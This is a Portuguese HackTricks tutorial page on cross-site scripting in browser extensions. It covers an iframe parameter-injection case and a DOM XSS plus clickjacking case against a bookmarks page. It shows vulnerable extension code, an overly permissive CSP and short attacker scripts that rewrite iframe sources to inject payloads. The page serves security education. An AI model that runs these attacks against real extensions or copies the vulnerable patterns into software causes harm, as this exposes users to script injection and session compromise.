# BrowExt - Exemplo de XSS {% hint style="success" %} Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! * **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
{% endhint %} ## Cross-Site Scripting (XSS) através de Iframe Nesta configuração, um **script de conteúdo** é implementado para instanciar um Iframe, incorporando uma URL com parâmetros de consulta como a fonte do Iframe: ```javascript chrome.storage.local.get("message", result => { let constructedURL = chrome.runtime.getURL("message.html") + "?content=" + encodeURIComponent(result.message) + "&redirect=https://example.net/details"; frame.src = constructedURL; }); ``` Uma página HTML acessível publicamente, **`message.html`**, é projetada para adicionar dinamicamente conteúdo ao corpo do documento com base nos parâmetros na URL: ```javascript $(document).ready(() => { let urlParams = new URLSearchParams(window.location.search); let userContent = urlParams.get("content"); $(document.body).html(`${userContent} `); $('#detailBtn').on('click', () => { let destinationURL = urlParams.get("redirect"); chrome.tabs.create({ url: destinationURL }); }); }); ``` Um script malicioso é executado na página de um adversário, modificando o parâmetro `content` da fonte do Iframe para introduzir uma **carga útil XSS**. Isso é alcançado atualizando a fonte do Iframe para incluir um script prejudicial: ```javascript setTimeout(() => { let targetFrame = document.querySelector("iframe").src; let baseURL = targetFrame.split('?')[0]; let xssPayload = ""; let maliciousURL = `${baseURL}?content=${encodeURIComponent(xssPayload)}`; document.querySelector("iframe").src = maliciousURL; }, 1000); ``` Uma Política de Segurança de Conteúdo excessivamente permissiva, como: ```json "content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self';" ``` permite a execução de JavaScript, tornando o sistema vulnerável a ataques XSS. Uma abordagem alternativa para provocar o XSS envolve a criação de um elemento Iframe e a definição de sua fonte para incluir o script prejudicial como o parâmetro `content`: ```javascript let newFrame = document.createElement("iframe"); newFrame.src = "chrome-extension://abcdefghijklmnopabcdefghijklmnop/message.html?content=" + encodeURIComponent(""); document.body.append(newFrame); ``` ## DOM-based XSS + ClickJacking Este exemplo foi retirado do [relatório do post original](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/). O problema central surge de uma vulnerabilidade de Cross-site Scripting (XSS) baseada em DOM localizada em **`/html/bookmarks.html`**. O JavaScript problemático, parte de **`bookmarks.js`**, é detalhado abaixo: ```javascript $('#btAdd').on('click', function() { var bookmarkName = $('#txtName').val(); if ($('.custom-button .label').filter(function() { return $(this).text() === bookmarkName; }).length) return false; var bookmarkItem = $('
'); bookmarkItem.html('' + bookmarkName + ''); bookmarkItem.append(''); bookmarkItem.attr('data-title', bookmarkName); bookmarkItem.data('timestamp', (new Date().getTime())); $('section.bookmark-container .existing-items').append(bookmarkItem); persistData(); }); ``` Este trecho busca o **valor** do campo de entrada **`txtName`** e usa **concatenação de strings para gerar HTML**, que é então anexado ao DOM usando a função `.append()` do jQuery. Normalmente, a Política de Segurança de Conteúdo (CSP) da extensão do Chrome impediria tais vulnerabilidades. No entanto, devido à **relaxamento da CSP com ‘unsafe-eval’** e ao uso dos métodos de manipulação do DOM do jQuery (que empregam [`globalEval()`](https://api.jquery.com/jquery.globaleval/) para passar scripts para [`eval()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval) após a inserção no DOM), a exploração ainda é possível. Embora essa vulnerabilidade seja significativa, sua exploração geralmente depende da interação do usuário: visitar a página, inserir um payload XSS e ativar o botão “Adicionar”. Para aumentar essa vulnerabilidade, uma vulnerabilidade secundária de **clickjacking** é explorada. O manifesto da extensão do Chrome apresenta uma política extensa de `web_accessible_resources`: ```json "web_accessible_resources": [ "html/bookmarks.html", "dist/*", "assets/*", "font/*", [...] ], ``` Notavelmente, a página **`/html/bookmarks.html`** é suscetível a framing, tornando-se assim vulnerável a **clickjacking**. Essa vulnerabilidade é explorada para emoldurar a página dentro do site de um atacante, sobrepondo-a com elementos DOM para redesenhar a interface de forma enganosa. Essa manipulação leva as vítimas a interagir com a extensão subjacente involuntariamente. ## Referências * [https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/](https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/) * [https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/) {% hint style="success" %} Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! * **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
{% endhint %}